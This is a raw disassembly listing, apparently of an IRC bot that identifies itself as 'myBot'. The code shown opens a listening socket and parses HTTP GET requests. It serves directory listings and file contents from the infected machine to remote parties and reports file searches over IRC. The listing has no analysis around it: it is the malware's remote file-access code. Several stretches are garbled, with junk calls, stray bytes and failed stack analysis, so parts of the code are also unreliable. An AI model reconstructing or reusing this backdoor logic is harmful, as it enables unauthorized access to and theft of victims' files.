; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_403790+60j
push 1
pop eax
leave
retn
sub_403790 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40380D proc near ; CODE XREF: sub_40318D+531p
var_1037B = byte ptr -1037Bh
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call near ptr 3E0000h
or [ebp+var_1037B], 0FFh
push offset aRb ; "rb"
push eax
call sub_411B4E
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4038A4
test byte ptr [esi+0Ch], 10h
jnz short loc_403888
push edi
mov edi, 400h
loc_403850: ; CODE XREF: sub_40380D+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_411A46
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push ds:dword_42F3EC
call ds:dword_41C1CC ; send
push 1
call ds:dword_41C058 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_403850
pop edi
loc_403888: ; CODE XREF: sub_40380D+3Bj
push esi
call sub_4119F0
pop ecx
push ds:dword_42F3EC
call ds:dword_41C1D0 ; closesocket
call ds:dword_41C194 ; WSACleanup
push 1
pop eax
loc_4038A4: ; CODE XREF: sub_40380D+35j
pop esi
leave
retn
sub_40380D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038A7 proc near ; DATA XREF: seg000:0040532Do
; seg000:0040D909o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_410BE0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_410590
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call ds:dword_430794 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call ds:dword_430810 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_403C92
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov ds:dword_4358E4[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_4307C0 ; bind
cmp eax, 0FFFFFFFFh
jz loc_403C92
push 7FFFFFFFh
push edi
call ds:dword_4307BC ; listen
cmp eax, 0FFFFFFFFh
jz loc_403C92
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call ds:dword_43082C ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_403C92
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40397E: ; CODE XREF: sub_4038A7+3E1j
; DATA XREF: sub_47C15D+CAw ...
push 41h
xor eax, eax
loc_403982: ; DATA XREF: .adata:0047D705w
; .adata:0047DA92r ...
pop ecx
lea esi, [ebp+var_138]
push eax
loc_40398A: ; DATA XREF: .adata:0047D85Dw
; .adata:0047D958w ...
push eax
push eax
lea eax, [ebp+var_6F0]
loc_403992: ; DATA XREF: sub_47D38Ew sub_47D3CBw ...
push eax
mov eax, [ebp+var_8]
loc_403996: ; DATA XREF: .adata:loc_47D613r
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call ds:dword_43077C ; select
loc_4039A6: ; DATA XREF: sub_47D2D8+1w
; sub_47D2D8+30w ...
cmp eax, 0FFFFFFFFh
jz loc_403C8D
xor esi, esi
mov [ebp+var_4], esi
loc_4039B4: ; CODE XREF: sub_4038A7+3DBj
lea eax, [ebp+var_6F0]
loc_4039BA: ; DATA XREF: sub_47C15D+57r
push eax
push esi
call ds:dword_43069C ; __WSAFDIsSet
loc_4039C2: ; DATA XREF: .adata:0047DBE6w
; sub_47DD57-3Br
test eax, eax
jz loc_403C78
loc_4039CA: ; DATA XREF: sub_47DD57-43w
; sub_47DD57-15r
cmp esi, [ebp+var_C]
jnz short loc_403A36
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call ds:dword_430824 ; accept
cmp eax, 0FFFFFFFFh
jz loc_403C78
xor ecx, ecx
test ebx, ebx
jbe short loc_403A08
lea edx, [ebp+var_134]
loc_4039FC: ; CODE XREF: sub_4038A7+15Fj
cmp [edx], eax
jz short loc_403A08
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_4039FC
loc_403A08: ; CODE XREF: sub_4038A7+14Dj
; sub_4038A7+157j
cmp ecx, ebx
jnz short loc_403A25
cmp ebx, 40h
jnb short loc_403A25
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_403A25: ; CODE XREF: sub_4038A7+163j
; sub_4038A7+168j
cmp eax, [ebp+var_8]
jbe loc_403C78
mov [ebp+var_8], eax
jmp loc_403C78
; ---------------------------------------------------------------------------
loc_403A36: ; CODE XREF: sub_4038A7+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_410590
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_410590
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call ds:dword_4307AC ; recv
test eax, eax
jg short loc_403AC9
push esi
call ds:dword_430828 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_403C78
lea eax, [ebp+var_134]
loc_403A88: ; CODE XREF: sub_4038A7+1EBj
cmp [eax], esi
jz short loc_403A99
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_403A88
jmp loc_403C78
; ---------------------------------------------------------------------------
loc_403A99: ; CODE XREF: sub_4038A7+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_403ABD
lea eax, [ebp+ecx*4+var_134]
loc_403AA7: ; CODE XREF: sub_4038A7+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_403AA7
loc_403ABD: ; CODE XREF: sub_4038A7+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_403C78
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_4038A7+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_410590
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_410B60
add esp, 10h
test eax, eax
jbe loc_403C78
loc_403AF7: ; CODE XREF: sub_4038A7+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_403B9C
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_410AE0
pop ecx
test eax, eax
pop ecx
jz short loc_403B70
lea eax, [ebp+var_18F0]
push eax
call sub_410B60
cmp eax, 5
pop ecx
jbe short loc_403B70
mov eax, offset asc_41F6B0 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_410AE0
pop ecx
pop ecx
push eax
call sub_410AE0
pop ecx
pop ecx
push eax
call sub_411C60
push eax
lea eax, [ebp+var_23C]
push eax
call sub_411B70
add esp, 10h
jmp short loc_403B87
; ---------------------------------------------------------------------------
loc_403B70: ; CODE XREF: sub_4038A7+27Fj
; sub_4038A7+291j
lea eax, [ebp+var_18F0]
push offset asc_41F6AC ; "\r\n"
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_403BBB
loc_403B87: ; CODE XREF: sub_4038A7+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_410590
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_403B9C: ; CODE XREF: sub_4038A7+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_410B60
cmp [ebp+arg_0], eax
pop ecx
jb loc_403AF7
jmp loc_403C78
; ---------------------------------------------------------------------------
loc_403BBB: ; CODE XREF: sub_4038A7+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_403C05
lea eax, [ebp+var_134]
loc_403BC7: ; CODE XREF: sub_4038A7+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_403BD8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_403BC7
jmp short loc_403C08
; ---------------------------------------------------------------------------
loc_403BD8: ; CODE XREF: sub_4038A7+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_403BFC
lea eax, [ebp+ecx*4+var_134]
loc_403BE6: ; CODE XREF: sub_4038A7+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_403BE6
loc_403BFC: ; CODE XREF: sub_4038A7+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_403C08
; ---------------------------------------------------------------------------
loc_403C05: ; CODE XREF: sub_4038A7+318j
mov esi, [ebp+var_4]
loc_403C08: ; CODE XREF: sub_4038A7+32Fj
; sub_4038A7+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_403C71
lea eax, [ebp+var_360]
push eax
call sub_410B60
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_410B60
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_403C71
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call ds:dword_43082C ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call loc_403E84
add esp, 14h
jmp short loc_403C78
; ---------------------------------------------------------------------------
loc_403C71: ; CODE XREF: sub_4038A7+369j
; sub_4038A7+38Fj
push esi
call ds:dword_430828 ; closesocket
loc_403C78: ; CODE XREF: sub_4038A7+11Dj
; sub_4038A7+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_4039B4
jmp loc_40397E
; ---------------------------------------------------------------------------
loc_403C8D: ; CODE XREF: sub_4038A7+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_403C92: ; CODE XREF: sub_4038A7+6Aj
; sub_4038A7+92j ...
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_41F664
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_403CD8
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40E367
add esp, 14h
loc_403CD8: ; CODE XREF: sub_4038A7+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_407E0E
pop ecx
push edi
call ds:dword_430828 ; closesocket
push [ebp+var_254]
call sub_4102D3
pop ecx
push ebx
call near ptr 3E0000h
pop ebp
pop edi
pop esi
pop ebx
sub_4038A7 endp ; sp-analysis failed
loc_403D02: ; DATA XREF: seg000:004040CAo
push ebp
mov ebp, esp
mov eax, 1654h
call sub_410BE0
mov eax, [ebp+8]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp-44Ch]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp-3C8h]
push eax
lea eax, [ebp-550h]
push eax
call sub_41050B
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-654h]
push eax
call sub_41050B
xor edi, edi
add esp, 10h
cmp [ebp-0A4h], edi
jz short loc_403D67
push offset aTextHtml ; "text/html"
jmp short loc_403D6C
; ---------------------------------------------------------------------------
loc_403D67: ; CODE XREF: seg000:00403D5Ej
push offset aApplicationOct ; "application/octet-stream"
loc_403D6C: ; CODE XREF: seg000:00403D65j
lea eax, [ebp-9Ch]
push eax
call sub_41050B
pop ecx
lea eax, [ebp-68h]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 3E0000h
db 2Eh
lea eax, [ebp-20h]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 3E0000h
add ecx, [ebp-427C1FBBh]
dec eax
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
call dword ptr [eax-73h]
inc ebp
cwde
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-68h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-68h]
push eax
jnz short loc_403DE5
lea eax, [ebp-9Ch]
push eax
lea eax, [ebp-1654h]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41050B
add esp, 24h
jmp short loc_403E06
; ---------------------------------------------------------------------------
loc_403DE5: ; CODE XREF: seg000:00403DC6j
push dword ptr [ebp-0B8h]
lea eax, [ebp-9Ch]
push eax
lea eax, [ebp-1654h]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41050B
add esp, 28h
loc_403E06: ; CODE XREF: seg000:00403DE3j
lea eax, [ebp-1654h]
push edi
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp-1654h]
push eax
push dword ptr [ebp-44Ch]
call ds:dword_4307E0 ; send
cmp [ebp-0A4h], edi
jnz short loc_403E46
lea eax, [ebp-550h]
push eax
push dword ptr [ebp-44Ch]
call sub_4047B6
pop ecx
pop ecx
jmp short loc_403E63
; ---------------------------------------------------------------------------
loc_403E46: ; CODE XREF: seg000:00403E2Ej
lea eax, [ebp-654h]
push eax
push edi
push dword ptr [ebp-44Ch]
lea eax, [ebp-550h]
push eax
call sub_404134
add esp, 10h
loc_403E63: ; CODE XREF: seg000:00403E44j
push dword ptr [ebp-44Ch]
call ds:dword_430828 ; closesocket
push dword ptr [ebp-0B4h]
call sub_4102D3
pop ecx
push edi
call near ptr 3E0000h
fstp qword ptr [edi+5Eh]
loc_403E84: ; CODE XREF: sub_4038A7+3C0p
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp-210h]
push edi
push eax
mov [ebp-4], edi
call sub_410590
mov eax, [ebp+10h]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_403EBA
push eax
push offset aS_2 ; "\\%s"
jmp short loc_403EC3
; ---------------------------------------------------------------------------
loc_403EBA: ; CODE XREF: seg000:00403EB0j
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_403EC3: ; CODE XREF: seg000:00403EB8j
lea eax, [ebp-10Ch]
push eax
call sub_41050B
add esp, 0Ch
lea eax, [ebp-10Ch]
xor esi, esi
xor ebx, ebx
push eax
call sub_410B60
test eax, eax
pop ecx
jbe short loc_403F5E
mov dword ptr [ebp+10h], 2
loc_403EEE: ; CODE XREF: seg000:00403F5Cj
lea eax, [ebp-10Ch]
push eax
call sub_410B60
cmp [ebp+10h], eax
pop ecx
jnb short loc_403F2E
cmp byte ptr [ebp+esi-10Ch], 25h
jnz short loc_403F2E
cmp byte ptr [ebp+esi-10Bh], 32h
jnz short loc_403F2E
cmp byte ptr [ebp+esi-10Ah], 30h
jnz short loc_403F2E
inc esi
mov byte ptr [ebp+ebx-210h], 20h
inc esi
add dword ptr [ebp+10h], 2
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F2E: ; CODE XREF: seg000:00403EFEj
; seg000:00403F08j ...
mov al, [ebp+esi-10Ch]
cmp al, 2Fh
jnz short loc_403F3E
push 5Ch
pop eax
jmp short loc_403F41
; ---------------------------------------------------------------------------
loc_403F3E: ; CODE XREF: seg000:00403F37j
movsx eax, al
loc_403F41: ; CODE XREF: seg000:00403F3Cj
mov [ebp+ebx-210h], al
loc_403F48: ; CODE XREF: seg000:00403F2Cj
lea eax, [ebp-10Ch]
inc esi
inc dword ptr [ebp+10h]
push eax
inc ebx
call sub_410B60
cmp esi, eax
pop ecx
jb short loc_403EEE
loc_403F5E: ; CODE XREF: seg000:00403EE5j
lea eax, [ebp-210h]
push eax
lea eax, [ebp-314h]
push dword ptr [ebp+0Ch]
push offset aSS_2 ; "%s%s"
push eax
call sub_41050B
lea eax, [ebp-314h]
push offset asc_41F964 ; "\n"
push eax
call sub_411C60
add esp, 18h
lea eax, [ebp-314h]
push eax
call ds:dword_41C07C ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_403FAC
cmp eax, 0FFFFFFFFh
jnz short loc_403FAF
push dword ptr [ebp+8]
jmp short loc_40402B
; ---------------------------------------------------------------------------
loc_403FAC: ; CODE XREF: seg000:00403FA0j
mov [ebp-4], esi
loc_403FAF: ; CODE XREF: seg000:00403FA5j
cmp byte ptr [ebp+ebx-211h], 5Ch
jnz short loc_403FBC
mov [ebp-4], esi
loc_403FBC: ; CODE XREF: seg000:00403FB7j
mov ebx, [ebp+8]
cmp [ebp-4], edi
mov [ebp-6C4h], ebx
mov [ebp-318h], edi
jz short loc_404036
cmp [ebp+14h], edi
jz short loc_40402A
lea eax, [ebp-314h]
push offset asc_41F960 ; "*"
push eax
call sub_411B80
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_41050B
lea eax, [ebp-210h]
push eax
call sub_404873
lea eax, [ebp-210h]
push eax
lea eax, [ebp-53Ch]
push eax
call sub_41050B
add esp, 1Ch
or dword ptr [ebp-330h], 0FFFFFFFFh
mov [ebp-31Ch], esi
jmp short loc_404085
; ---------------------------------------------------------------------------
loc_40402A: ; CODE XREF: seg000:00403FD3j
push ebx
loc_40402B: ; CODE XREF: seg000:00403FAAj
call ds:dword_430828 ; closesocket
jmp loc_40412D
; ---------------------------------------------------------------------------
loc_404036: ; CODE XREF: seg000:00403FCEj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp-314h]
push 80000000h
push eax
call ds:dword_41C078 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_404085
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_41050B
pop ecx
mov [ebp-31Ch], edi
pop ecx
push edi
push esi
call near ptr 3E0000h
rcl byte ptr [esi-77h], cl
test edx, eax
cld
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
adc eax, offset dword_41C070
loc_404085: ; CODE XREF: seg000:00404028j
; seg000:00404053j
mov esi, [ebp+18h]
lea eax, [ebp-8C4h]
push esi
push offset unk_41F91C
push eax
call sub_41050B
push edi
lea eax, [ebp-8C4h]
push 3
push eax
call sub_40FFB7
mov [ebp-32Ch], eax
imul eax, 234h
add esp, 18h
mov ds:dword_4358DC[eax], esi
lea eax, [ebp-8]
push eax
lea eax, [ebp-6C4h]
push edi
push eax
push offset loc_403D02
push edi
push edi
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-32Ch]
imul ecx, 234h
cmp eax, edi
mov ds:dword_4358EC[ecx], eax
jz short loc_4040FF
loc_4040ED: ; CODE XREF: seg000:004040FDj
cmp [ebp-318h], edi
jnz short loc_40412D
push 5
call ds:dword_41C058 ; Sleep
jmp short loc_4040ED
; ---------------------------------------------------------------------------
loc_4040FF: ; CODE XREF: seg000:004040EBj
push ebx
call ds:dword_430828 ; closesocket
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-8C4h]
push offset unk_41F8D0
push eax
call sub_41050B
lea eax, [ebp-8C4h]
push eax
call sub_407E0E
add esp, 10h
loc_40412D: ; CODE XREF: seg000:00404031j
; seg000:004040F3j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404134 proc near ; CODE XREF: seg000:00403E5Bp
; seg000:0040CF7Fp
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_75 = byte ptr -75h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_410590
mov edi, [ebp+arg_0]
push offset asc_41F964 ; "\n"
push edi
call sub_411C60
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_404193
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_410A8A
add esp, 14h
jmp loc_404290
; ---------------------------------------------------------------------------
loc_404193: ; CODE XREF: sub_404134+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_404276
call sub_410B60
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_410A8A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_410A8A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
push edi
call sub_410B60
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_410A8A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_410A8A
add esp, 0Ch
jmp short loc_404290
; ---------------------------------------------------------------------------
loc_404276: ; CODE XREF: sub_404134+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_410A8A
add esp, 10h
loc_404290: ; CODE XREF: sub_404134+5Aj
; sub_404134+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
cmp [ebp+arg_C], ebx
jz short loc_404328
push [ebp+arg_C]
call sub_410B60
cmp eax, 2
pop ecx
jbe short loc_404328
push [ebp+arg_C]
call sub_410B60
sub eax, 3
pop ecx
jz short loc_4042DC
loc_4042D0: ; CODE XREF: sub_404134+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_4042DC
dec eax
jnz short loc_4042D0
loc_4042DC: ; CODE XREF: sub_404134+19Aj
; sub_404134+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_411D00
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_410A8A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
loc_404328: ; CODE XREF: sub_404134+17Ej
; sub_404134+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_41C090 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call ds:dword_41C08C ; FindNextFileA
test eax, eax
jz loc_404719
mov edi, 1FFh
loc_404354: ; CODE XREF: sub_404134+5DFj
cmp [ebp+var_388], ebx
jz loc_404701
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_404701
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_404701
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 3E0000h
push cs
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 3E0000h
or ah, [esi-75h]
inc ebp
lock mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_4043C9
mov ecx, offset aAm ; "AM"
loc_4043C9: ; CODE XREF: sub_404134+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_4043D5
sub eax, 0Ch
loc_4043D5: ; CODE XREF: sub_404134+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41050B
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_404582
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_404456
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_410A8A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_410A8A
add esp, 28h
jmp loc_4046D2
; ---------------------------------------------------------------------------
loc_404456: ; CODE XREF: sub_404134+2DBj
cmp [ebp+arg_C], ebx
jz loc_404540
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_410A8A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS ; "%s%s/"
push edi
push eax
call sub_410A8A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
lea eax, [ebp+var_35C]
push eax
call sub_410B60
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4044F6
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4044FB
; ---------------------------------------------------------------------------
loc_4044F6: ; CODE XREF: sub_404134+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4044FB: ; CODE XREF: sub_404134+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_410A8A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4046C3
; ---------------------------------------------------------------------------
loc_404540: ; CODE XREF: sub_404134+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_410A8A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_40456D: ; CODE XREF: sub_404134+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_410A8A
add esp, 24h
jmp loc_4046D2
; ---------------------------------------------------------------------------
loc_404582: ; CODE XREF: sub_404134+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4045AC
push ebx
push [ebp+var_368]
call sub_40867B
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
